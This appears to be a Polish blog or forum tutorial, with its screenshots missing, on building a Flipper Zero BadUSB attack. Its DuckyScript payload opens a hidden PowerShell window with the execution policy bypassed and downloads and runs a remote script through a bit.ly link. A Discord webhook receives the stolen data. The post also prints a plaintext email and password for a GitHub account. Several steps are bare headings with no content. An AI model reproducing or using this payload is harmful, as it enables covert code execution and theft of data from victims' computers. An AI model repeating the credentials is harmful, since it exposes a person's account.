Co zrobić w przypdaku gdy potrzebujemy do skryptu discord webhook do przesłania informacji. Poniżesz przedstawiam przykładowy skrypt powershell:

# Musimimy zastąpić

na prawidłowy link którego jeszcze nie znamy przedstawię krok po kroku jak zastąpić ten link na prawidłowy.

Najpierw odtwieramy aplikacje disocrd

Wchodzimy na wybrany kanał na discord i klikamy w zębatkę:

# Klikamy integracje:

# Następnie:

### Klikamy w to:

#### Nazywamy oraz kopiujemy link:

### Powracamy do notatnika i zamieniamy link:

# Następnie kopiujemy cały skrypt:

I przecodzimy na podany link:

# https://github.com/login

Email: bartkowiak.bartpol@gmaail.com

Hasło: Bartkowiak@76

### Wejdz na strone:

https://bitly.com/

Następnie otwórz notatnik i wklej to:

GUI r

**DELAY 500** 

STRING powershell -w h -NoP -Ep Bypass \$dc=";\$db=";irm LINK.PL | iex

**DELAY 500** 

**ENTER** 

LINK.PL zamień na link który wygenerowałeś na bit.ly w tym przypadku jest on taki: bit.ly/3Gaq4mS

Następnie wchodzimy w flipper zero i robimy następujące kroki:

Klikamy Run i skrypt wyrusza to tyle na temat. (:
